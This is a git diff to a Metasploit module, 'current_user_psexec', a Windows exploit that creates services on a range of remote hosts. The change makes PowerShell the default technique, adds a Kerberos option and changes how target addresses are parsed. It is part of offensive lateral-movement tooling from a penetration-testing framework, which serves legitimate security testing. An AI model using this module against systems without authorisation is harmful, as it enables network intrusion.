diff --git a/modules/exploits/windows/local/current_user_psexec.rb b/modules/exploits/windows/local/current_user_psexec.rb index fe98e53232..ec115c2ec4 100644 --- a/modules/exploits/windows/local/current_user_psexec.rb +++ b/modules/exploits/windows/local/current_user_psexec.rb @@ -59,8 +59,9 @@ class Metasploit3 < Msf::Exploit::Local ]), OptString.new("NAME", [ false, "Service name on each target in RHOSTS (Default: random)" ]), OptString.new("DISPNAME", [ false, "Service display name (Default: random)" ]), - OptEnum.new("TECHNIQUE", [ true, "Technique to use", 'SMB', ['PSH', 'SMB'] ]), + OptEnum.new("TECHNIQUE", [ true, "Technique to use", 'PSH', ['PSH', 'SMB'] ]), OptAddressRange.new("RHOSTS", [ false, "Target address range or CIDR identifier" ]), + OptBool.new("KERBEROS", [ true, "Authenticate via Kerberos, dont resolve hostnames", false ]) ]) end @@ -102,7 +103,13 @@ class Metasploit3 < Msf::Exploit::Local end begin - Rex::Socket::RangeWalker.new(datastore["RHOSTS"]).each do |server| + if datastore['KERBEROS'] + targets = datastore['RHOSTS'].split(', ').map{ |a| a.split(' ') }.flatten + else + targets = Rex::Socket::RangeWalker.new(datastore["RHOSTS"]) + end + + targets.each do |server| begin print_status("#{server.ljust(16)} Creating service #{name}")